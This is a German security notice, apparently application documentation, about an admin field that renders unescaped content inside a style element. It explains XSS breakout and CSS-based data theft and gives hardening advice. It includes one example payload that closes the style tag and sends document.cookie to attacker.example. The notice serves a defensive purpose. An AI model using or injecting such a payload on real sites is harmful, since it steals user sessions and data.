Sicherheitshinweise zu Inhalten ohne Escaping

Theresa Henze - 2026-09-10 - Verschiedenes

Benutzerdefinierte Inhalte: Sicherheitshinweise

Über dieses Feld können Administratoren Inhalte in Seiten einfügen. Die Eingabe wird in einen `<style>`-Kontext eingebunden, dabei aber **ungeprüft und ohne Escaping** gerendert, sie ist also nicht auf Gestaltung beschränkt. Mit der richtigen Eingabe kann sie als aktiver Inhalt in den Browsern Ihrer Nutzer ausgeführt werden, was dies zu einer der sicherheitskritischsten Einstellungen der Applikation macht. Behandele alles, was Du hier eingibst, als vertrauenswürdigen, sicherheitsrelevanten Code.

Warum das ein Sicherheitsrisiko ist

Da der Wert unverändert eingefügt wird, kann er auf zwei sehr unterschiedliche Arten Schaden anrichten.

Er kann aus dem Style-Kontext ausbrechen. Eine `</style>`-Sequenz an beliebiger Stelle der Eingabe schließt das Style-Element vorzeitig. Alles danach wird als normales HTML interpretiert, einschließlich `script`-HTML-Tags, Event-Handler-Attributen sowie `<iframe>`- oder `<img>`-Elementen. Ab diesem Punkt ist die Eingabe nicht mehr „nur CSS", sondern vollständige HTML- und JavaScript-Injektion (Cross-Site-Scripting, XSS) mit allen Möglichkeiten, die ein Skript auf der Seite hat.

Auch ohne Ausbruch ist CSS allein gefährlich. Modernes CSS kann externe Ressourcen laden und auf Inhalt und Zustand der Seite reagieren, genug, um Daten zu stehlen und Nutzer zu täuschen, ganz ohne Skript.

Die Eingabe wird direkt in den Browsern Ihrer Nutzer im Kontext Ihrer Applikation und deren Sitzung ausgeführt.

Was schädliche Inhalte anrichten können

Vollständige Skript-Injektion (XSS)

Sobald die Eingabe aus dem `<style>`-Kontext ausbricht, kann ein Angreifer beliebiges JavaScript in den Browsern Ihrer Nutzer ausführen. Das ermöglicht unter anderem:

- das Auslesen und Abgreifen von Session-Cookies, Tokens und allen für die Seite sichtbaren Daten;
- Aktionen im Namen des angemeldeten Nutzers (Einstellungen ändern, Passwörter zurücksetzen, Daten löschen);
- das Umschreiben der Seite, das Einschleusen gefälschter Formulare oder das Umleiten von Nutzern;
- echtes Keylogging durch direktes Mithören von Tastatureingaben.

```
</style><script>
  fetch("https://attacker.example/leak?c=" + encodeURIComponent(document.cookie));
</script>
```

Dies ist der schwerwiegendste Fall, da ein Skript im Grunde alles tun kann, was auch der Nutzer kann.

CSS-basierte Angriffe

Obwohl CSS keine Skripte wie JavaScript ausführen kann, ist modernes CSS mächtig genug, um Daten zu stehlen, Nutzer zu täuschen und Informationen zu verbergen.

> **Hinweis:** Siehe Sicherheitshinweise zu CSS für weitere Details zu den Risiken von CSS.

Warum das wichtig ist

Ein geleakter Sicherheitstoken oder ein Session-Cookie kann es einem Angreifer erlauben, im Namen des Nutzers zu handeln, und das Abgreifen personenbezogener Daten ist ein Datenschutzvorfall. Skript-Injektion erhöht das Risiko zusätzlich, da sie einem Angreifer die vollen Möglichkeiten der Seite verschafft. Da vieles davon ohne ein offensichtliches `script`-HTML-Tag geschehen kann, und da das Feld wie „nur CSS" aussieht, wird das Risiko leicht unterschätzt und umgeht oft Filter, die auf JavaScript ausgerichtet sind.

Was Du tun solltest

- **Gib nur Inhalte aus Quellen ein, denen Du voll vertraust.** Behandle es wie jeden Code, den du in deiner Applikation ausführen würdest, denn im Grunde ist es genau das.
- **Prüfe vor dem Speichern.** Sei misstrauisch bei allem, was nach Markup aussieht (insbesondere die (öffnenden und schließenden) HTML-Tags `style`, `script`, `iframe`, `img` oder `on...`=-Event-Attributen), sowie bei externen URLs (`url(...)`), Attribut-Selektoren auf Eingabefeldern (`[value^=...]`), `@font-face` / `unicode-range` und auffälligen Positionierungs- oder `z-index`-Werten.
- **Halte es minimal.** Kleinere, einfachere Eingaben lassen sich leichter prüfen und bieten weniger Raum, in dem sich Schädliches verstecken kann.
- **Im Zweifel nicht speichern.** Wenn du nicht nachvollziehen kannst, was die Eingabe tut, lass sie weg.
- **Konfiguriere eine restriktive Content Security Policy (CSP).** Eine starke CSP ist hier dein wichtigster technischer Schutz. Beschränke `script-src` auf vertrauenswürdige Quellen (und vermeide `'unsafe-inline'`), um eingeschleuste Skripte zu entschärfen, und beschränke `img-src`, `style-src` und `font-src` (bzw. `connect-src`), um Datenabfluss über `url(...)` und `@font-face` zu begrenzen.

Wenn du unsicher bist, ob eine Eingabe sicher ist, lass sie von einer Person mit Sicherheits- oder Frontend-Erfahrung prüfen, bevor du sie einbindest.